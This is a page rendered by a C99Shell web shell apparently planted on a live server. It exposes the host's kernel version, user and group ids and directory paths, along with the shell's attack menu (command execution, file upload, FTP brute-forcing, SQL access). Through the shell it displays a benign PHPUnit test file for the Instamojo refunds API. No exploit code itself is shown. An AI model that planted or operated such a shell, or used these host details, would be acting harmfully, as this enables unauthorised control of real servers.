!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/instamojo/instamojo-php/tests/unit/   drwxr-xr-x
Free 29.11 GB of 117.98 GB (24.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RefundsTest.php (1.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

use PHPUnit\Framework\TestCase;

class 
RefundsTest extends TestCase
{
    protected 
$instaobj;

    public function 
setUp()
    {
        
$this->instaobj Instamojo\Instamojo::init('app',[
            
"client_id" => $_ENV["CLIENT_ID"],
            
"client_secret" => $_ENV["CLIENT_SECRET"],
            
"scope" => "refunds:read"
        
],true);
    }

    public function 
test_list_of_refunds()
    {
        
$refunds $this->instaobj->getRefunds();

        
$this->assertTrue(is_array($refunds));
    }

    public function 
test_list_of_refunds_with_limit_paramter()
    {
        
$refunds $this->instaobj->getRefunds(10);

        
$this->assertTrue(is_array($refunds));
        
$this->assertTrue( (sizeOf($refunds) <= 10 ) );
    }

    public function 
test_get_refund_details()
    {
        
$refunds $this->instaobj->getRefunds();

        if(
sizeof($refunds) > 0) {

            
$this->assertArrayHasKey('id',$refunds[0]);
            
$refund_detail $this->instaobj->getRefundDetails($refunds[0]['id']);
            
            
$this->assertArrayHasKey('id',$refund_detail);
            
$this->assertArrayHasKey('payment',$refund_detail);
            
$this->assertArrayHasKey('amount',$refund_detail);
            
$this->assertArrayHasKey('buyer',$refund_detail);
        }
    }

    public function 
test_create_refund_for_payment_throw_exception_on_invalid_parameters()
    {
        
$this->expectException(\Instamojo\Exceptions\ApiException::class);
        
$this->instaobj->createRefundForPayment(NULL,[]);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]--